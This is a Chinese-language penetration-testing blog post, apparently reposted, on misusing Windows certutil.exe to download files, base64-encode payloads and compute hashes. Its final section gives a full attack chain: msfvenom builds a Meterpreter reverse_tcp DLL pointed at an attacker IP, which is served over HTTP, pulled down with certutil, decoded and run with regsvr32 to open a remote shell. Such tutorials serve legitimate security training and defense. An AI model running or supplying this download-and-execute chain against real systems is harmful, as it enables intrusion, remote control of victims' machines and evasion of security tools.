渗透测试中的certutil

certutil简介

  • 用于证书管理
  • 支持xp-win10
  • 更多操作说明见https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspx

渗透测试中的应用

  1. 保存在当前路径,文件名称同URL

    certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt
    
  2. 保存在当前路径,指定保存文件名称

    certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt file.txt
    
  3. 保存在缓存目录,名称随机

    缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
    
    certutil.exe -urlcache -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt
    
  4. 支持保存二进制文件

    certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
    

    注:使用downloader默认在缓存目录位置:

    %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content保存下载的文件副本
    
  5. 清除下载文件副本

    直接删除缓存目录对应文件
    certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
    查看缓存项目:certutil.exe -urlcache *
    

简单测试

  1. 计算文件hash

    certutil.exe -hashfile msg.dll
    
  2. SHA256:

    certutil.exe -hashfile msg.dll SHA256
    
  3. MD5:

    certutil.exe -hashfile msg.dll MD5
    
  4. base64编码

    CertUtil -encode InFile OutFile
    
  5. base64解码

    CertUtil -decode InFile OutFile
    

    注:编码后的文件会添加两处标识信息:

    文件头:

    -----BEGIN CERTIFICATE-----

    文件尾:

    -----END CERTIFICATE-----
    在这里插入图片描述

msfconsole上线

  1. 生成payload

    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.159.137 lport=4444 -f dll > dll.txt
    python -m SimpleHTTPServer 8080
    
  2. 执行下载命令

    certutil -urlcache -split -f http://192.168.159.137:8080/dll.txt dll.txt | certutil -encode dll.txt edll.txt
    Certutil -decode .\edll.txt  exploit.dll
    regsvr32 /s /u .\exploit.dll
    

    在这里插入图片描述

  3. 添加信任上线
    在这里插入图片描述

引用

三号学生师傅文章:https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84certutil.exe/
二向箔安全学院
https://zhuanlan.zhihu.com/p/107819644

猜你喜欢

转载自blog.csdn.net/weixin_44216796/article/details/112685517